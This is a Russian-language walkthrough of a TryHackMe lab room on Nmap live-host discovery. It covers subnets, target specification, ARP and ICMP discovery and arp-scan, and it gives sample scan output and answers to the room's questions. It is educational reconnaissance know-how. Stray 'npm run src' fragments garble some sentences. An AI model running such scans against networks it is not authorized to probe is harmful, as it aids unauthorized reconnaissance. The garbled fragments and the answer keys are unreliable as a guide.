    &lt;li id=&quot;Rvu9&quot;&gt;&lt;a href=&quot;https://tryhackme.com/room/webapplicationbasics&quot; target=&quot;_blank&quot;&gt;Основы веб-приложений&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;h41l&quot;&gt;&lt;a href=&quot;https://tryhackme.com/room/networkingessentials&quot; target=&quot;_blank&quot;&gt;Основы работы в сети&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;FPY6&quot;&gt;&lt;a href=&quot;https://tryhackme.com/room/networkingsecureprotocols&quot; target=&quot;_blank&quot;&gt;Сетевые протоколы безопасности&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;h6Zp&quot;&gt;В следующем задании давайте углубимся в изучение некоторых важных концепций, прежде чем приступать к поиску работающих хостов.&lt;/p&gt;
  &lt;p id=&quot;Hzso&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;64pp&quot;&gt;Task 2. Subnetworks &lt;/h2&gt;
  &lt;p id=&quot;nBQp&quot;&gt;Прежде чем перейти к основным задачам, давайте повторим несколько терминов. &lt;em&gt;Сетевой сегмент&lt;/em&gt; — это группа компьютеров, соединенных с помощью общей среды передачи данных. Например, средой передачи может быть коммутатор Ethernet или точка доступа Wi-Fi. В IP-сети &lt;em&gt;подсеть&lt;/em&gt; обычно представляет собой один или несколько сетевых сегментов, соединенных вместе и настроенных на использование одного и того же маршрутизатора. Сетевой сегмент обозначает физическое соединение, а подсеть — логическое соединение.&lt;/p&gt;
  &lt;p id=&quot;8y1h&quot;&gt;На приведенной ниже сетевой схеме представлены четыре сетевых сегмента или подсети. В общем, ваша система будет подключена к одному из этих сетевых сегментов/подсетей. Подсеть, или просто подсеть, имеет свой собственный диапазон IP-адресов и подключается к более обширной сети через маршрутизатор. В зависимости от сети может быть установлен брандмауэр, обеспечивающий соблюдение политик безопасности.&lt;/p&gt;
  &lt;figure id=&quot;UqVB&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/aa787518e856e0094cb40da8399be0f3.png&quot; width=&quot;1400&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;XLiA&quot;&gt;На рисунке выше показаны два типа подсетей:&lt;/p&gt;
  &lt;ul id=&quot;xoWN&quot;&gt;
    &lt;li id=&quot;9v6r&quot;&gt;Подсети с маской подсети &lt;code&gt;/16&lt;/code&gt;, что означает, что маска подсети может быть записана как &lt;code&gt;255.255.0.0&lt;/code&gt;. Эта подсеть может вместить около 65 000 хостов.&lt;/li&gt;
    &lt;li id=&quot;oVLz&quot;&gt;Подсети с &lt;code&gt;/24&lt;/code&gt;, что указывает на возможность выражения маски подсети как &lt;code&gt;255.255.255.0&lt;/code&gt;. Такая подсеть может содержать около 250 хостов.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;Mp1O&quot;&gt;Если вам нужно узнать больше о подсетях, вы можете обратиться к заданию 2 в комнате &lt;a href=&quot;https://tryhackme.com/room/introtolan&quot; target=&quot;_blank&quot;&gt;«Введение в локальные сети» .&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;fzUD&quot;&gt;В рамках активной разведки мы хотим получить больше информации о группе хостов или о подсети. Если вы находитесь в одной подсети, вы ожидаете, что ваш сканер будет использовать запросы ARP (Address Resolution Protocol ) для обнаружения активных хостов. Цель запроса ARP — получить аппаратный адрес (MAC-адрес), чтобы обеспечить связь на канальном уровне; однако мы можем предположить, что хост находится в сети. (Мы вернемся к канальному уровню в Задании 4.)&lt;/p&gt;
  &lt;p id=&quot;oWcV&quot;&gt;Если вы находитесь в сети A, вы можете использовать ARP только для обнаружения устройств в этой подсети (10.1.100.0/24). Предположим, вы подключены к подсети, отличной от подсети целевой системы (систем). В этом случае все пакеты, генерируемые вашим сканером, будут маршрутизироваться через шлюз по умолчанию (маршрутизатор) для достижения систем в другой подсети; однако ARP- запросы не будут маршрутизироваться и, следовательно, не смогут пройти через маршрутизатор подсети. ARP — это протокол канального уровня, и ARP- пакеты привязаны к своей подсети.&lt;/p&gt;
  &lt;p id=&quot;SZbv&quot;&gt;Нажмите кнопку «Просмотреть сайт», чтобы запустить сетевой симулятор. Мы будем использовать этот симулятор для ответа на вопросы заданий 2, 4 и 5.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;djhj&quot;&gt;Вопрос: Сколько устройств могут увидеть ARP-запрос?&lt;/p&gt;
    &lt;p id=&quot;8bno&quot;&gt;&lt;strong&gt;Ответ: 4&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;ZSsF&quot;&gt;Вопрос: Получил ли компьютер 6 ARP-запрос? (Да/Нет)&lt;/p&gt;
    &lt;p id=&quot;PwIA&quot;&gt;&lt;strong&gt;Ответ: N&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;uXsL&quot;&gt;Вопрос: Отправьте пакет со следующим содержимым:&lt;/p&gt;
    &lt;figure id=&quot;waqf&quot; class=&quot;m_original&quot;&gt;
      &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/818d1c5a3a96a9962dde71069f9e1ee8.png&quot; width=&quot;397&quot; /&gt;
    &lt;/figure&gt;
    &lt;ul id=&quot;ZmEZ&quot;&gt;
      &lt;li id=&quot;HGvJ&quot;&gt;С &lt;strong&gt;компьютера4&lt;/strong&gt;&lt;/li&gt;
      &lt;li id=&quot;lQs7&quot;&gt;Для &lt;strong&gt;компьютера 4&lt;/strong&gt; (чтобы указать, что это трансляция)&lt;/li&gt;
      &lt;li id=&quot;luhb&quot;&gt;Тип пакета: «ARP-запрос»&lt;/li&gt;
      &lt;li id=&quot;sZHn&quot;&gt;Данные: &lt;strong&gt;computer6&lt;/strong&gt; (поскольку мы запрашиваем MAC-адрес &lt;strong&gt;компьютера computer6&lt;/strong&gt; с помощью ARP-запроса)&lt;/li&gt;
    &lt;/ul&gt;
    &lt;p id=&quot;XKic&quot;&gt;Сколько устройств могут увидеть ARP-запрос?&lt;/p&gt;
    &lt;p id=&quot;u5jm&quot;&gt;&lt;strong&gt;Ответ: 4&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;Rkgr&quot;&gt;Вопрос: Ответил ли компьютер 6 на ARP-запрос? (Да/Нет)&lt;/p&gt;
    &lt;p id=&quot;5b67&quot;&gt;&lt;strong&gt;Ответ: Yea&lt;/strong&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;17gG&quot;&gt;Task 3. Enumerating Targets &lt;/h2&gt;
  &lt;p id=&quot;1UMd&quot;&gt;В задании 1 мы упомянули различные методы сканирования. Прежде чем подробно объяснить каждый из них и протестировать на реальном объекте, необходимо указать объекты, которые мы хотим сканировать. Как правило, можно указать список, диапазон или подсеть. Примеры указания объектов:&lt;/p&gt;
  &lt;ul id=&quot;5fMk&quot;&gt;
    &lt;li id=&quot;MOjv&quot;&gt;список: &lt;code&gt;MACHINE_IP scanme.nmap.org example.com&lt;/code&gt;будет просканировано 3 IP-адреса.&lt;/li&gt;
    &lt;li id=&quot;mFd8&quot;&gt;диапазон: &lt;code&gt;10.11.12.15-20&lt;/code&gt;будет просканировано 6 IP-адресов: &lt;code&gt;10.11.12.15&lt;/code&gt;, &lt;code&gt;10.11.12.16&lt;/code&gt;,… и &lt;code&gt;10.11.12.20&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;2jEQ&quot;&gt;Подсеть: &lt;code&gt;MACHINE_IP/30&lt;/code&gt;будет просканировано 4 IP-адреса.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;lSft&quot;&gt;Вы также можете указать файл в качестве входных данных для списка целей &lt;code&gt;nmap -iL list_of_hosts.txt&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;LvJr&quot;&gt;Если вы хотите проверить список хостов, которые будет сканировать Nmap , вы можете использовать опцию &amp;#x60; &lt;code&gt;nmap -sL TARGETS&lt;/code&gt;--&amp;#x60;. Эта опция предоставляет подробный список хостов, которые будет сканировать Nmap, без фактического сканирования; однако Nmap попытается выполнить обратное разрешение DNS для всех целей, чтобы получить их имена. Имена могут раскрыть различную информацию для пентестера. (Если вы не хотите, чтобы Nmap обращался к DNS-серверу, вы можете добавить &amp;#x60;  &lt;code&gt;-n&lt;/code&gt;--&amp;#x60;.)&lt;/p&gt;
  &lt;p id=&quot;ejnV&quot;&gt;Запустите AttackBox, используя &lt;code&gt;Start AttackBox&lt;/code&gt;кнопку ниже. После открытия в режиме разделенного экрана откройте окно &lt;code&gt;Terminal&lt;/code&gt;и используйте его &lt;code&gt;Nmap&lt;/code&gt;для ответа на следующие вопросы.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;5gtT&quot;&gt;Вопрос: Какой IP-адрес Nmap просканирует первым, если вы укажете  &lt;code&gt;10.10.12.13/29&lt;/code&gt; его в качестве целевого адреса?&lt;/p&gt;
    &lt;p id=&quot;KJZV&quot;&gt;&lt;strong&gt;Ответ: 10.10.12.8&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;aBd1&quot;&gt;Вопрос: Сколько IP-адресов просканирует Nmap, если вы укажете следующий диапазон  &lt;code&gt;10.10.0-255.101-125&lt;/code&gt;?&lt;/p&gt;
    &lt;p id=&quot;YWYy&quot;&gt;&lt;strong&gt;Ответ: 6400&lt;/strong&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;BDKP&quot;&gt;Task 4. Discovering Live Hosts &lt;/h2&gt;
  &lt;p id=&quot;G9Vd&quot;&gt;Давайте вернемся к уровням TCP /IP, показанным на следующем рисунке. Мы будем использовать эти протоколы для обнаружения активных хостов. Начиная снизу вверх, мы можем использовать:&lt;/p&gt;
  &lt;ul id=&quot;JB5k&quot;&gt;
    &lt;li id=&quot;QOpm&quot;&gt;ARP с канального уровня&lt;/li&gt;
    &lt;li id=&quot;znXk&quot;&gt;ICMP с сетевого уровня&lt;/li&gt;
    &lt;li id=&quot;Vxmf&quot;&gt;TCP с транспортного уровня&lt;/li&gt;
    &lt;li id=&quot;PPDS&quot;&gt;UDP с транспортного уровня&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;hYvz&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/745e0412b319d324352c7b29863b74f4.png&quot; width=&quot;984&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;K21L&quot;&gt;Прежде чем подробно обсуждать, как можно использовать каждый сканер, мы кратко рассмотрим эти четыре протокола. &lt;strong&gt;ARP&lt;/strong&gt; имеет одну цель: отправить кадр на широковещательный адрес в сетевом сегменте и запросить у компьютера с определенным IP-адресом ответ, предоставив его MAC-адрес (аппаратный адрес).&lt;/p&gt;
  &lt;p id=&quot;jvGr&quot;&gt;&lt;strong&gt;ICMP&lt;/strong&gt; имеет &lt;a href=&quot;https://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml&quot; target=&quot;_blank&quot;&gt;множество типов&lt;/a&gt; . ICMP-запрос ping использует тип 8 (эхо) и тип 0 (эхо-ответ).&lt;/p&gt;
  &lt;p id=&quot;MUwK&quot;&gt;Если вы хотите отправить ping-запрос системе, находящейся в той же подсети, перед ICMP-эхо-запросом следует выполнить ARP- запрос.&lt;/p&gt;
  &lt;p id=&quot;YNhN&quot;&gt;Хотя TCP и UDP являются протоколами транспортного уровня, для сканирования сети сканер может отправить специально сформированный пакет на распространенные порты TCP или UDP , чтобы проверить, отвечает ли целевой сервер. Этот метод эффективен, особенно когда блокируется ICMP Echo.&lt;/p&gt;
  &lt;p id=&quot;9l3J&quot;&gt;Если вы закрыли сетевой симулятор, нажмите &lt;code&gt;View Site&lt;/code&gt;кнопку « » &lt;code&gt;Task 2&lt;/code&gt;для его повторного отображения.&lt;/p&gt;
  &lt;section&gt;
    &lt;p id=&quot;tP3o&quot;&gt;Отправьте пакет со следующим содержимым:&lt;/p&gt;
    &lt;ul id=&quot;Tj5O&quot;&gt;
      &lt;li id=&quot;XYKU&quot;&gt;С &lt;strong&gt;компьютера1&lt;/strong&gt;&lt;/li&gt;
      &lt;li id=&quot;V1Mz&quot;&gt;На &lt;strong&gt;компьютер3&lt;/strong&gt;&lt;/li&gt;
      &lt;li id=&quot;KCyY&quot;&gt;Тип пакета: « &lt;strong&gt;Запрос Ping&lt;/strong&gt; »&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/section&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;8coy&quot;&gt;Вопрос: Какой тип пакета отправил &lt;strong&gt;компьютер 1&lt;/strong&gt; перед пингом?&lt;/p&gt;
    &lt;p id=&quot;HJbZ&quot;&gt;Ответ: ARP Request&lt;/p&gt;
    &lt;p id=&quot;k8cq&quot;&gt;Вопрос: Какой тип пакета получил &lt;strong&gt;компьютер 1&lt;/strong&gt; , прежде чем смог отправить пинг?&lt;/p&gt;
    &lt;p id=&quot;51pK&quot;&gt;Ответ: ARP Response&lt;/p&gt;
    &lt;p id=&quot;akCI&quot;&gt;Вопрос: Сколько компьютеров ответили на запрос ping?&lt;/p&gt;
    &lt;p id=&quot;zsyp&quot;&gt;Ответ: 1&lt;/p&gt;
    &lt;p id=&quot;8374&quot;&gt;Вопрос: &lt;/p&gt;
    &lt;p id=&quot;HRky&quot;&gt;Отправьте пакет со следующим содержимым:&lt;/p&gt;
    &lt;ul id=&quot;YpC0&quot;&gt;
      &lt;li id=&quot;Mu4p&quot;&gt;С &lt;strong&gt;компьютера2&lt;/strong&gt;&lt;/li&gt;
      &lt;li id=&quot;NrQm&quot;&gt;На &lt;strong&gt;компьютер5&lt;/strong&gt;&lt;/li&gt;
      &lt;li id=&quot;xvnX&quot;&gt;Тип пакета: « &lt;strong&gt;Запрос Ping&lt;/strong&gt; »&lt;/li&gt;
    &lt;/ul&gt;
    &lt;p id=&quot;E751&quot;&gt;Как называется первое устройство, ответившее на первый ARP-запрос?&lt;/p&gt;
    &lt;p id=&quot;LGIP&quot;&gt;Ответ: router&lt;/p&gt;
    &lt;p id=&quot;Epyu&quot;&gt;Вопрос: Как называется первое устройство, ответившее на второй ARP-запрос?&lt;/p&gt;
    &lt;p id=&quot;KZOW&quot;&gt;Ответ: computer5&lt;/p&gt;
    &lt;p id=&quot;tqhI&quot;&gt;Вопрос: Отправьте еще один запрос Ping. Потребовались ли новые запросы ARP? (да/нет)&lt;/p&gt;
    &lt;p id=&quot;S4w6&quot;&gt;Ответ: nay&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;oGHY&quot;&gt;Task 5. Nmap Host Discovery Using ARP &lt;/h2&gt;
  &lt;p id=&quot;XX7T&quot;&gt;Как узнать, какие хосты работают? Крайне важно избегать траты времени на сканирование портов неактивных хостов или IP-адресов, которые не используются. Существуют различные способы обнаружения работающих хостов. Если параметры обнаружения хостов отсутствуют, Nmap использует следующие подходы для обнаружения активных хостов:&lt;/p&gt;
  &lt;ol id=&quot;Bo3e&quot;&gt;
    &lt;li id=&quot;tcw9&quot;&gt;Когда &lt;em&gt;привилегированный&lt;/em&gt; пользователь пытается сканировать цели в локальной сети (Ethernet), Nmap использует &lt;em&gt;ARP- запросы&lt;/em&gt; . Привилегированным пользователем считается &lt;code&gt;root&lt;/code&gt;пользователь, принадлежащий к группе &lt;code&gt;sudoers&lt;/code&gt;и имеющий право запускать соответствующие программы &lt;code&gt;sudo&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;hyGB&quot;&gt;Когда &lt;em&gt;привилегированный&lt;/em&gt; пользователь пытается сканировать цели за пределами локальной сети, Nmap использует запросы эхо ICMP, подтверждение TCP ACK (Acknowledge) на порт 80, синхронизацию TCP SYN (Synchronize) на порт 443 и запрос метки времени ICMP.&lt;/li&gt;
    &lt;li id=&quot;XrDx&quot;&gt;Когда &lt;em&gt;непривилегированный&lt;/em&gt; пользователь пытается сканировать цели за пределами локальной сети, Nmap прибегает к трехстороннему TCP-рукопожатию, отправляя SYN-пакеты на порты 80 и 443.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;rKJF&quot;&gt;По умолчанию Nmap использует сканирование с помощью команды ping для поиска активных хостов, а затем продолжает сканирование только активных хостов. Если вы хотите использовать Nmap для обнаружения онлайн-хостов без сканирования портов активных систем, вы можете выполнить команду &lt;code&gt;nmap -sn TARGETS&lt;/code&gt;. Давайте разберемся подробнее, чтобы получить полное представление о различных используемых методах.&lt;/p&gt;
  &lt;p id=&quot;Il3i&quot;&gt;Сканирование ARP возможно только в том случае, если вы находитесь в той же подсети, что и целевые системы. В сетях Ethernet (802.3) и WiFi (802.11) необходимо знать MAC-адрес любой системы, прежде чем вы сможете с ней взаимодействовать. MAC-адрес необходим для заголовка канального уровня; он содержит MAC-адреса источника и назначения, а также другие поля. Чтобы получить MAC-адрес, операционная система отправляет ARP-запрос. Хост, отвечающий на ARP-запросы, считается активным. ARP-запрос работает только в том случае, если целевая система находится в той же подсети, что и вы, то есть в той же сети Ethernet/Wi-Fi. Во время сканирования локальной сети с помощью Nmap следует ожидать появления множества ARP-запросов. Если вы хотите, чтобы Nmap выполнял только сканирование ARP без сканирования портов, вы можете использовать команду &amp;#x60;npm run src&amp;#x60; &lt;code&gt;nmap -PR -sn TARGETS&lt;/code&gt;, где &amp;#x60; &lt;code&gt;-PR&lt;/code&gt;npm run src&amp;#x60; указывает, что вам нужно только сканирование ARP. В следующем примере показано, как Nmap использует ARP для обнаружения хостов без сканирования портов. Мы запускаем команду &amp;#x60;npm run src&amp;#x60; &lt;code&gt;nmap -PR -sn MACHINE_IP/24&lt;/code&gt;для обнаружения всех активных систем в той же подсети, что и наша целевая машина.&lt;/p&gt;
  &lt;p id=&quot;77r7&quot;&gt;Терминал пентестера&lt;/p&gt;
  &lt;pre id=&quot;osYV&quot;&gt;pentester@TryHackMe$ sudo nmap -PR -sn 10.10.210.6/24

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-02 07:12 BST
Nmap scan report for ip-10-10-210-75.eu-west-1.compute.internal (10.10.210.75)
Host is up (0.00013s latency).
MAC Address: 02:83:75:3A:F2:89 (Unknown)
Nmap scan report for ip-10-10-210-100.eu-west-1.compute.internal (10.10.210.100)
Host is up (-0.100s latency).
MAC Address: 02:63:D0:1B:2D:CD (Unknown)
Nmap scan report for ip-10-10-210-165.eu-west-1.compute.internal (10.10.210.165)
Host is up (0.00025s latency).
MAC Address: 02:59:79:4F:17:B7 (Unknown)
Nmap scan report for ip-10-10-210-6.eu-west-1.compute.internal (10.10.210.6)
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 3.12 seconds&lt;/pre&gt;
  &lt;p id=&quot;Ekgy&quot;&gt;В данном случае, &lt;code&gt;AttackBox&lt;/code&gt;имея IP-адрес 10.10.210.6, Nmap использовал ARP-запросы для обнаружения активных хостов в той же подсети. ARP-сканирование работает, как показано на рисунке ниже. Nmap отправляет ARP-запросы всем целевым компьютерам, и те, которые находятся в сети, должны ответить ARP-ответом.&lt;/p&gt;
  &lt;figure id=&quot;aHaZ&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/f0ce4cd34b827f529255c5c73bb909d1.png&quot; width=&quot;862&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;qWuI&quot;&gt;Если мы посмотрим на пакеты, сгенерированные с помощью таких инструментов, как tcpdump или Wireshark, мы увидим сетевой трафик, похожий на показанный ниже. На рисунке ниже Wireshark отображает MAC-адреса источника и назначения, протокол и запрос для каждого ARP-запроса. Адрес источника — это MAC-адрес нашего AttackBox, а адрес назначения — широковещательный адрес, поскольку MAC-адрес цели нам неизвестен. Однако IP-адрес цели можно увидеть в столбце Info. На рисунке видно, что мы запрашиваем MAC-адреса всех IP-адресов в подсети, начиная с &lt;code&gt;10.10.210.1&lt;/code&gt;. Хост с запрашиваемым IP-адресом отправит ARP- ответ со своим MAC-адресом, и именно так мы узнаем, что он находится в сети.&lt;/p&gt;
  &lt;figure id=&quot;vPB9&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/fc86462236edf4ee667f416b533c93fd.png&quot; width=&quot;958&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;yjYJ&quot;&gt;Говоря о сканировании ARP , следует упомянуть сканер, построенный на основе ARP- запросов: &lt;code&gt;arp-scan&lt;/code&gt;; он предоставляет множество опций для настройки сканирования. Для получения подробной информации посетите вики-страницу &lt;a href=&quot;https://github.com/royhills/arp-scan/wiki/arp-scan-User-Guide&quot; target=&quot;_blank&quot;&gt;arp -scan&lt;/a&gt; . Один из популярных вариантов — &lt;code&gt;arp-scan --localnet&lt;/code&gt;или просто &lt;code&gt;arp-scan -l&lt;/code&gt;. Эта команда отправит ARP- запросы на все действительные IP-адреса в вашей локальной сети. Более того, если ваша система имеет более одного интерфейса и вы заинтересованы в обнаружении активных хостов на одном из них, вы можете указать интерфейс с помощью &lt;code&gt;-I&lt;/code&gt;. Например, &lt;code&gt;sudo arp-scan -I eth0 -l&lt;/code&gt;отправит ARP- запросы на все действительные IP-адреса на этом &lt;code&gt;eth0&lt;/code&gt;интерфейсе.&lt;/p&gt;
  &lt;p id=&quot;tBdC&quot;&gt;Обратите внимание, что &lt;code&gt;arp-scan&lt;/code&gt;он не установлен на AttackBox; однако его можно установить с помощью &lt;code&gt;apt install arp-scan&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;nxOH&quot;&gt;В приведенном ниже примере мы просканировали подсеть AttackBox с помощью &lt;code&gt;arp-scan ATTACKBOX_IP/24&lt;/code&gt;. Поскольку мы выполнили это сканирование в промежутке времени, близком к предыдущему &lt;code&gt;nmap -PR -sn ATTACKBOX_IP/24&lt;/code&gt;, мы получили те же три активные цели.&lt;/p&gt;
  &lt;p id=&quot;Siv7&quot;&gt;Терминал пентестера&lt;/p&gt;
  &lt;pre id=&quot;R8qD&quot;&gt;pentester@TryHackMe$ sudo arp-scan 10.10.210.6/24
Interface: eth0, datalink type: EN10MB (Ethernet)
WARNING: host part of 10.10.210.6/24 is non-zero
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.10.210.75	02:83:75:3a:f2:89	(Unknown)
10.10.210.100	02:63:d0:1b:2d:cd	(Unknown)
10.10.210.165	02:59:79:4f:17:b7	(Unknown)

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.726 seconds (93.91 hosts/sec). 3 responded&lt;/pre&gt;
  &lt;p id=&quot;SdG4&quot;&gt;Аналогичным образом, команда &lt;code&gt;arp-scan&lt;/code&gt;сгенерирует множество ARP- запросов, которые мы можем просмотреть с помощью tcpdump, Wireshark или аналогичного инструмента. Мы можем заметить, что захват пакетов &lt;code&gt;arp-scan&lt;/code&gt;показывает &lt;code&gt;nmap -PR -sn&lt;/code&gt;схожие закономерности трафика. Ниже приведен вывод Wireshark.&lt;/p&gt;
  &lt;figure id=&quot;XFPT&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/7a4f0b5fe57a09aaebd18da5d1e1af16.png&quot; width=&quot;949&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;wwdx&quot;&gt;Если вы закрыли сетевой симулятор, нажмите &lt;code&gt;Visit Site&lt;/code&gt;кнопку « » в задании 2, чтобы снова открыть его.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;gBUx&quot;&gt;Вопрос: &lt;/p&gt;
    &lt;p id=&quot;qrry&quot;&gt;Мы будем отправлять широковещательные ARP-запросы со следующими параметрами:&lt;/p&gt;
    &lt;ul id=&quot;Ai1O&quot;&gt;
      &lt;li id=&quot;oOU7&quot;&gt;С &lt;strong&gt;компьютера1&lt;/strong&gt;&lt;/li&gt;
      &lt;li id=&quot;uq3j&quot;&gt;Компьютеру &lt;strong&gt;1&lt;/strong&gt; (чтобы указать, что это трансляция)&lt;/li&gt;
      &lt;li id=&quot;X1xo&quot;&gt;Тип пакета: «ARP-запрос»&lt;/li&gt;
      &lt;li id=&quot;mjdB&quot;&gt;Данные: попробуйте все 8 устройств (кроме компьютера 1) в сети: &lt;strong&gt;компьютер 2&lt;/strong&gt; , &lt;strong&gt;компьютер 3&lt;/strong&gt; , &lt;strong&gt;компьютер 4&lt;/strong&gt; , &lt;strong&gt;компьютер 5&lt;/strong&gt; , &lt;strong&gt;компьютер 6&lt;/strong&gt; , &lt;strong&gt;коммутатор 1&lt;/strong&gt; , &lt;strong&gt;коммутатор 2&lt;/strong&gt; и маршрутизатор.&lt;/li&gt;
    &lt;/ul&gt;
    &lt;p id=&quot;HnyS&quot;&gt;Сколько устройств можно обнаружить с помощью ARP-запросов?&lt;/p&gt;
    &lt;p id=&quot;cBL1&quot;&gt;Ответ: 3&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;iMwx&quot;&gt;Task 6. Nmap Host Discovery Using ICMP &lt;/h2&gt;
  &lt;p id=&quot;l1NK&quot;&gt;Мы можем отправить ping-запрос на каждый IP-адрес в целевой сети и посмотреть, кто ответит на наши &lt;code&gt;ping&lt;/code&gt;запросы (ICMP Type 8/Echo) ответным ping-запросом (ICMP Type 0). Просто, не правда ли? Хотя это был бы самый простой подход, он не всегда надежен. Многие брандмауэры блокируют ICMP-эхо-запросы; в новых версиях MS Windows настроен брандмауэр хоста, который по умолчанию блокирует запросы ICMP-эхо. Помните, что ARP-запрос предшествует ICMP-запросу, если ваша цель находится в той же подсети.&lt;/p&gt;
  &lt;p id=&quot;HEUW&quot;&gt;Чтобы использовать ICMP-запрос эхо-ответа для обнаружения активных хостов, добавьте опцию &lt;code&gt;-PE&lt;/code&gt;. (Не забудьте добавить её, &lt;code&gt;-sn&lt;/code&gt;если вы не хотите после этого выполнять сканирование портов.)&lt;/p&gt;
  &lt;p id=&quot;efKt&quot;&gt;Как показано на следующем рисунке, сканирование ICMP echo отправляет запрос ICMP echo и ожидает, что целевой объект ответит ответом ICMP echo, если он находится в сети.&lt;/p&gt;
  &lt;figure id=&quot;p0Ug&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/25fb5fd5d2009cf69d7aae40e8fde2ec.png&quot; width=&quot;862&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;xGlD&quot;&gt;В приведенном ниже примере мы просканировали подсеть целевого объекта с помощью команды &amp;#x60;npm run src&amp;#x60; &lt;code&gt;nmap -PE -sn MACHINE_IP/24&lt;/code&gt;. Это сканирование отправит эхо-пакеты ICMP на каждый IP-адрес в подсети. Мы ожидаем ответа от работающих хостов; однако следует помнить, что многие брандмауэры блокируют ICMP. В приведенном ниже выводе показан результат сканирования подсети класса C виртуальной машины с помощью команды &amp;#x60;npm run src&amp;#x60; &lt;code&gt;sudo nmap -PE -sn MACHINE_IP/24&lt;/code&gt;из AttackBox.&lt;/p&gt;
  &lt;p id=&quot;Vj42&quot;&gt;Терминал пентестера&lt;/p&gt;
  &lt;pre id=&quot;df4T&quot;&gt;pentester@TryHackMe$ sudo nmap -PE -sn 10.10.68.220/24

Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-02 10:16 BST
Nmap scan report for ip-10-10-68-50.eu-west-1.compute.internal (10.10.68.50)
Host is up (0.00017s latency).
MAC Address: 02:95:36:71:5B:87 (Unknown)
Nmap scan report for ip-10-10-68-52.eu-west-1.compute.internal (10.10.68.52)
Host is up (0.00017s latency).
MAC Address: 02:48:E8:BF:78:E7 (Unknown)
Nmap scan report for ip-10-10-68-77.eu-west-1.compute.internal (10.10.68.77)
Host is up (-0.100s latency).
MAC Address: 02:0F:0A:1D:76:35 (Unknown)
Nmap scan report for ip-10-10-68-110.eu-west-1.compute.internal (10.10.68.110)
Host is up (-0.10s latency).
MAC Address: 02:6B:50:E9:C2:91 (Unknown)
Nmap scan report for ip-10-10-68-140.eu-west-1.compute.internal (10.10.68.140)
Host is up (0.00021s latency).
MAC Address: 02:58:59:63:0B:6B (Unknown)
Nmap scan report for ip-10-10-68-142.eu-west-1.compute.internal (10.10.68.142)
Host is up (0.00016s latency).
MAC Address: 02:C6:41:51:0A:0F (Unknown)
Nmap scan report for ip-10-10-68-220.eu-west-1.compute.internal (10.10.68.220)
Host is up (0.00026s latency).
MAC Address: 02:25:3F:DB:EE:0B (Unknown)
Nmap scan report for ip-10-10-68-222.eu-west-1.compute.internal (10.10.68.222)
Host is up (0.00025s latency).
MAC Address: 02:28:B1:2E:B0:1B (Unknown)
Nmap done: 256 IP addresses (8 hosts up) scanned in 2.11 seconds&lt;/pre&gt;
